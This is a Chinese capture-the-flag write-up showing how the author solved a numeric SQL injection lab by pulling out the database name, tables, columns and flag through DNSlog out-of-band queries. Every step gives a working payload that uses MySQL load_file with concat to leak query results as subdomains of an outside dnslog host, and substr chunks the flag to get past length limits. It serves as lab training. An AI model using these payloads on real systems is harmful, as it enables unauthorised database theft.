靶场地址:http://61.136.208.14:8003/
解题准备:DNSlog平台
解题思路:
1、根据提示,需要使用dnslog平台进行注入
生成并复制域名
2、然后判断靶场的闭合符
id=1 页面正常
id=1' id=1' --+ 报错
id=1 and 1=1 页面正常
id=1 and 1=2 页面不正常
确定没有闭合符,应该是数字型
根据DNSlog注入的通用语句,构建注入语句
?id=1 and (select load_file(concat('\\\\',(select database()),'.wd03jd.dnslog.cn\\123')))
3、提交后去dnslog查看,果然有域名解析记录,并爆出数据库名:dnslog
继续爆表名(这里换过一次域名)
?id=1 and (select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.kpo62s.dnslog.cn\\123')))
显然flag就在第一个表中,再爆字段名,修改limit 0,1可以得到所有字段名
?id=1 and (select load_file(concat('\\\\',(select column_name from information_schema.columns where table_schema=database() and table_name='flag_is_here' limit 0,1),'.kpo62s.dnslog.cn\\123')))
4、爆flag
正常写法一直无法获取域名访问记录,怀疑是dnslog字符数有限制,于是采用substr()函数分批显示
然而奇怪的是:前面1-4个字符flag可以正常爆出,后面的字符却怎么都不能爆出,尝试跳过第5个字符从第6位开始,一次爆8个字符,成功爆出32位flag
怀疑是特殊字符 { 和 } 无法被dnslog解析
?id=1 and (select load_file(concat('\\\\',substr((select flag from flag_is_here limit 0,1),1,4),'.wd03jd.dnslog.cn\\123')))
?id=1 and (select load_file(concat('\\\\',substr((select flag from flag_is_here limit 0,1),6,8),'.wd03jd.dnslog.cn\\123')))
5、 继续爆14,8) 22,8) 30,8)
5、最终将4段字符串拼接到flag{.........}中,得到最终答案
小贴士:如果靶场访问正常,但dnslog什么都记录不到,可能是间隔时间长dns域名失效了,重新生成一个域名即可继续进行注入